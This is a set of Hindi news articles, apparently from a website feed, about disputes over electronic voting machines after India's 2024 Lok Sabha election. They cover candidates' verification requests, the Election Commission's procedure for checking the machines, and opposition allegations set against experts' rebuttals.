➤ पूर्व मुख्यमंत्री मनोहर लाल खट्टर की जीत पर आपत्ति जताते हुए आवेदन जारी किया गया। आवेदक ने सीएंडवी प्रॉटोकॉल में ही बदलाव की मांग की जिसे जिला चुनाव अधिकारी (डीईओ) ने खारिज कर दिया।
➤ हरियाणा के फरीदाबाद और करनाल से कांग्रेस उम्मीदवारों ने भी सीएंडवी अप्लीकेशंस डाले

छत्तीसगढ़
➤ कांकेर लोकसभा क्षेत्र से कांग्रेस कैंडिडेट ने सीएंडवी अप्लिकेशन डाला।

तेलंगाना
➤ जहीराबाद सीट पर कांग्रेस कैंडिडेट से हारने के बाद बीबी पाटिल ने सीएंडवी अप्लिकेशन दिया।

आंध्र प्रदेश
➤ विजयनगरम लोकसभा क्षेत्र से वाईएसआर कांग्रेस कैंडिडेट बेलन्ना चंद्रशेखर ने जांच एवं पुष्टि की मांग की।
➤ गजपतिनगरम और ओंगोले विधानसभा क्षेत्रों से वाईएसआर के प्रत्याशियों ने सीएंडवी अप्लिकेशन दायर किए।

ओडिशा
➤ झारसूगुडा लोकसभा क्षेत्र से बीजेडी कैंडिडेट दीपाली दास बीजेपी कैंडिडेट से बहुत कम मार्जिन से हारीं। उन्होंने 13 मतदान केंद्रों पर ईवीएम-वीवीपैट मिलान की मांग की।

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निर्वाचन आयोग ने असंतुष्ट उम्मीदवारों को ईवीएम की जांच का तरीका तय करने का विकल्प दिया https://pratyushaashakinayikiran.com/?p=52188 Wed, 17 Jul 2024 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=52188 नई दिल्ली
 निर्वाचन आयोग ने लोकसभा और राज्य विधानसभा चुनावों के नतीजे आने के बाद इलेक्ट्रॉनिक वोटिंग मशीन (ईवीएम) में छेड़छाड़ के आरोपों की जांच के लिए उच्चतम न्यायालय का दरवाजा खटखटाने वाले असंतुष्ट उम्मीदवारों को किसी भी मतदान केंद्र के ईवीएम मशीन से प्रयोगिक मतदान या प्रयोगिक तौर पर वीवीपैट की पर्चियों की जांच सहित विभिन्न विकल्प दिए हैं।

निर्वाचन आयोग द्वारा जारी मानक परिचालन प्रक्रिया (एसओपी) के मुताबिक चुनाव में दूसरे और तीसरे स्थान पर आने वाले उम्मीदवारों को बड़ी संख्या में उनके चुने हुए मतदान केंद्रों के ईवीएम की जांच करने का विकल्प दिया गया है।

निर्वाचन आयोग ने कहा कि नियंत्रित जांच की पुरानी परिपाटी से आगे जाने से जांच और सत्यापन प्रक्रिया संबंधी कोई पूर्वाग्रह या छेड़छाड़ की संभावना या आशंका समाप्त हो जाती है।

निर्वाचन आयोग को भाजपा और कांग्रेस सहित आठ असंतुष्ट उम्मीदवारों से आवेदन प्राप्त हुए हैं, जिनमें चार जून को लोकसभा चुनाव के परिणाम घोषित होने के बाद ईवीएम में लगे माइक्रो-कंट्रोलर चिप्स में कथित छेड़छाड़ या बदलाव की जांच कराने का अनुरोध किया गया है।

उच्चतम न्यायालय ने ईवीएम में छेड़छाड़ की आशंका को ‘तथ्यहीन’ करार देते हुए मतपत्र से मतदान कराने की पुरानी प्रक्रिया बहाल करने के वास्ते दाखिल याचिकाओं को 26 अप्रैल को खारिज कर दिया था। शीर्ष अदालत ने लेकिन साथ ही दूसरे और तीसरे स्थान पर रहने वाले असंतुष्ट उम्मीदवारों के लिए रास्ता खोलते हुए उन्हें लिखित आवेदन एवं शुल्क के साथ प्रति विधानसभा निर्वाचन क्षेत्र में पांच प्रतिशत ईवीएम के ‘माइक्रो कंट्रोलर’ चिप्स की जांच एवं सत्यापन कराने की अनुमति दी थी।

निर्वाचन आयोग ने कहा कि पात्र उम्मीदवार विधानसभा क्षेत्र या निर्वाचन क्षेत्र के मतदान केन्द्रों या मशीनों की क्रम संख्या का विकल्प दे सकते हैं, बशर्ते कि उस क्षेत्र या सीट में प्रयुक्त अधिकतम पांच प्रतिशत ईवीएम की जांच और सत्यापन प्रक्रिया हो।

इससे यह सुनिश्चित होगा कि आवेदक की पसंद के अनुसार पूरे निर्वाचन क्षेत्र से ईवीएम का चयन किया जाए तथा किसी विशेष मशीन के चयन या उसे छोड़ने में किसी तीसरे पक्ष या अधिकारी की भागीदारी नहीं होगी।

आयोग ने कहा कि उम्मीदवारों को किसी निर्वाचन क्षेत्र के किसी भी मतदान केंद्र के ईवीएम को जांच के लिए चुनने का भी विकल्प दिया जाएगा।

यदि कोई भी आवेदक उम्मीदवार किसी विशेष मतदान केन्द्र की कोई विशिष्ट इकाई – बैलेट यूनिट, कंट्रोल यूनिट या वीवीपैट का चयन करता है, तो वह उस मतदान केन्द्र पर प्रयुक्त उसी सेट की अन्य इकाइयों को चुनने के लिए बाध्य नहीं है।

आयोग किसी भी मशीन से अपनी इच्छा के अनुसार प्रायोगिक मतदान करके यह जांच कर सकते हैं कि मशीन से सही मतदान हुआ है या नहीं। लेकिन इसके लिए अधिकतम मतों की संख्या 1400 तय की गई है। इसी प्रकार तय प्रक्रिया के तहत वीवीपैट की भी गिनती की जाएगी।

 

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फिर छिड़ा EVM पर विवाद, राहुल गांधी ने बाद जीतू पटवारी ने इलेक्शन कमीशन पर लगाए गंभीर आरोप https://pratyushaashakinayikiran.com/?p=42548 Mon, 17 Jun 2024 18:46:00 +0000 https://pratyushaashakinayikiran.com/?p=42548 भोपाल
देश में लोकसभा चुनावों के परिणामों के बाद एक बार फिर EVM को लेकर सवाल उठने शुरू हो गए हैं. इसको लेकर राहुल गांधी ने भी पहली सोशल मीडिया प्लेटफॉर्म X पर पोस्ट किया है. जिसमें उन्होंने EVM को ब्लैक बॉक्स बताया और कहा कि भारत जैसे देश में किसी को भी इसकी जांच करने की अनुमति नहीं है. इसके बाद सियासत तेज हो चली है. इस पूरे मामले को लेकर अब प्रदेश अध्यक्ष जीतू पटवारी ने भी सवाल उठाए हैं.

जीतू पटवारी ने सोशल मीडिया X पर लिखा "EVM को लेकर लगातार कई सवाल उठ रहे हैं, जिसमें तर्क के साथ तथ्य भी दिए जा रहे हैं. इसमें संदेह के बाद सबूत भी दिए जा रहे हैं! लेकिन इलेक्शन कमीसन ऑफ इंडिया अभी भी चुप है. जीतू ने आगे लिखा "क्या यह चुप्पी किसी बड़ी साजिश का कारण है?

EVM को लेकर लंबे समय से उठ रहा विवाद

EVM को लेकर लंबे समय से कांग्रेस सवाल खड़े करती नजर आई है. विधानसभा चुनाव हो या फिर लोकसभा चुनाव हर समय कांग्रेस ने EVM पर कई तरह के सवाल खड़े किए हैं. मध्य प्रदेश के पूर्व मुख्यमंत्री दिग्विजय सिंह ने तो कई बार इसको लेकर आंदोलन भी किया है. लेकिन, इस पूरे मामले पर ELON मस्क के पोस्ट के बाद राजनीति गर्मा गई है.

राहुल ने EVM को बताया ब्लैक बॉक्स

राहुल गांधी ने अपने सोशल मीडिया प्लेटफॉर्म एक्स पर पोस्ट करते हुए लिखा कि "भारत में ई. वी. एम. एक "ब्लैक बॉक्स" है और किसी को भी उनकी जांच करने की अनुमति नहीं है. हमारी चुनावी प्रक्रिया में पारदर्शिता को लेकर गंभीर चिंताएं जताई जा रही हैं. जब संस्थानों में जवाबदेही की कमी होती है तो लोकतंत्र एक दिखावा बन जाता है. और, धोखाधड़ी का शिकार हो जाता है.
एलन मस्क के पोस्ट के बाद राजनीति तेज

दुनिया के सबसे अमीर उद्योगपति और टेस्ला के मालिक एलन मस्क भी इससे पहले इलेक्ट्रॉनिक वोटिंग मशीन पर सवाल उठा चुके हैं. उन्होंने एक्स पर पोस्ट करते हुए लिखा कि हमें इलेक्ट्रॉनिक वोटिंग मशीनों को खत्म कर देना चाहिए. मनुष्यों या एआई द्वारा हैक होने का खतरा भले ही छोटा लगे, लेकिन यह अभी भी बहुत अधिक है.

 

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विद्वानों ने ईवीएम हैक सिद्धांतों की ‘बेतुकी बात’ को खारिज किया https://pratyushaashakinayikiran.com/?p=35222 Tue, 28 May 2024 17:06:00 +0000 https://pratyushaashakinayikiran.com/?p=35222  नई दिल्ली
 लोकसभा चुनाव के छठे चरण के मतदान के बाद कांग्रेस के नेतृत्व वाला विपक्ष लगातार ईवीएम पर संदेह जता रहा है, विशेषज्ञों ने अपने रुख का समर्थन करने के लिए डेटा के साथ साजिश के सिद्धांत का खंडन किया है।
विशेषज्ञों के अनुसार, चुनावी प्रक्रिया का व्यापक स्तर ईवीएम हैक या फॉर्म 17सी साजिश सिद्धांतकारों के दावों को अत्यधिक अव्यावहारिक ठहराता है।

एक्स (पूर्व में ट्विटर) पर डेटा साझा करते हुए चुनाव विश्लेषकों ने कहा कि लोकसभा चुनाव के छठे चरण तक 486 सीटों पर मतदान हो चुका है, यानी फैसला हो चुका है। प्रति सीट लगभग हजारों मतदान केंद्र थे।

अब तक लगभग 9 लाख मतदान केंद्रों पर मतदान हो चुका है।

प्रत्येक निर्वाचन क्षेत्र में दर्जनों उम्मीदवार होते हैं, जिन्हें प्रत्येक मतदान केंद्र पर पोलिंग एजेंट रखने की अनुमति होती है।

विशेषज्ञों ने कहा, आइए प्रति सीट औसतन 10 उम्मीदवारों पर विचार करें (हालांकि वास्तविक संख्या लगभग 15.3 है)।

एक विश्लेषक ने कहा, "मान लीजिए कि प्रति मतदान केंद्र पर प्रति उम्मीदवार एक मतदान एजेंट (हालांकि वास्तव में 3 की अनुमति है) है। इसके परिणामस्वरूप प्रति मतदान केंद्र पर 10 मतदान एजेंट होंगे। लगभग 9 लाख मतदान केंद्रों पर मतदान हुआ है, इसका मतलब लगभग 90 लाख मतदान एजेंट होगा।''

यदि कोई यथार्थवादी परिप्रेक्ष्य को ध्यान में रखता है तो वह मानेगा कि निर्दलीय उम्मीदवार हर मतदान केंद्र पर एक एजेंट रखने का जोखिम नहीं उठा सकता।

हर मतदान केंद्र पर केवल शीर्ष 3 प्रतिस्पर्धी दल ही इसका प्रबंधन कर सकते हैं। उन्होंने आगे कहा, इस परिदृश्य में भी हर मतदान केंद्र पर 3 पोलिंग एजेंट होंगे।

9 लाख मतदान केंद्रों पर कुल मिलाकर लगभग 27 लाख मतदान एजेंट होंगे।

इस प्रकार, उम्मीदवारों को छोड़कर, 27 लाख से अधिक व्यक्तियों ने ये कार्य किए हैं :

क) ईसीआई द्वारा प्रत्येक मतदान केंद्र पर प्रदान किए गए प्रत्येक फॉर्म 17सी का निरीक्षण किया गया।

ख) हर उस मतदाता का अवलोकन किया, जिसने अपना वोट डाला है और उनके वोट और वीवीपैट पर्ची के बीच विसंगतियों के बारे में कोई शिकायत दर्ज नहीं की गई है।

ग) उम्मीदवार स्तर पर प्रत्येक मतदान केंद्र और कुल मिलाकर प्रत्येक निर्वाचन क्षेत्र के लिए सटीक मतदाता सूची तक पहुंच प्राप्त की गई।

सोशल मीडिया पर एक विशेषज्ञ का तर्क है : "कांग्रेस पार्टी के थिंक टैंक, जिसमें कपिल सिब्बल और कांग्रेस पारिस्थितिकी तंत्र के अन्य सदस्य शामिल हैं, कथित तौर पर बताते हैं कि चुनाव नतीजों में छेड़छाड़ करने के लिए 27 लाख से अधिक लोग (संभवतः वास्तविकता में एक करोड़ के करीब) पीएम नरेंद्र मोदी और भाजपा के साथ एक साजिश में शामिल हैं।”

वह इस धारणा का मजाक उड़ाते हुए सवाल करते हैं : "यदि लगभग एक करोड़ व्यक्ति बिना किसी सबूत के सक्रिय रूप से मिलीभगत कर रहे हैं कि तो वे ऐसा कैसे या क्यों करेंगे, विशेष रूप से भाजपा के साथ कांग्रेस या सीपीआई-एम के पोलिंग एजेंटों के बीच असंभावित सहयोग को देखते हुए कपिल सिब्बल और ऐसे अन्य लोग कौन सा शब्द सटीक रूप से वर्णन करते हैं?"

1) ईसीआई द्वारा प्रत्येक मतदान केंद्र पर प्रदान किए गए प्रत्येक फॉर्म 17सी का निरीक्षण किया गया

2) हर उस मतदाता का अवलोकन किया, जिसने अपना वोट डाला है और उनके वोट और वीवीपैट पर्ची के बीच विसंगतियों के बारे में कोई शिकायत दर्ज नहीं की गई है.

3) उम्मीदवार स्तर पर प्रत्येक मतदान केंद्र और कुल मिलाकर प्रत्येक निर्वाचन क्षेत्र के लिए सटीक मतदाता सूची तक पहुंच प्राप्त की गई.

कांग्रेस नेताओ की दलील, नतीजों में छेड़छाड़ करने के लिए 27 लाख से अधिक लोग

कांग्रेस पार्टी के थिंक टैंक, जिसमें कपिल सिब्बल और कांग्रेस पारिस्थितिकी तंत्र के अन्य सदस्य शामिल हैं, कथित तौर पर बताते हैं कि चुनाव नतीजों में छेड़छाड़ करने के लिए 27 लाख से अधिक लोग (संभवतः वास्तविकता में एक करोड़ के करीब) पीएम नरेंद्र मोदी और भाजपा के साथ एक साजिश में शामिल हैं.

विशेषज्ञों ने कांग्रेसी नेताओं की धारणा का मजाक उड़ाया

विशेषज्ञों ने कांग्रेसी नेताओं की धारणा का मजाक उड़ाते हुए सवाल करते हुए कहते हैं कि यदि लगभग एक करोड़ व्यक्ति बिना किसी सबूत के सक्रिय रूप से मिलीभगत कर रहे हैं कि तो वे ऐसा कैसे या क्यों करेंगे, विशेष रूप से भाजपा के साथ कांग्रेस या सीपीआई-एम के पोलिंग एजेंटों के बीच असंभावित सहयोग को देखते हुए कपिल सिब्बल और ऐसे अन्य लोग कौन सा शब्द सटीक रूप से वर्णन करते हैं?

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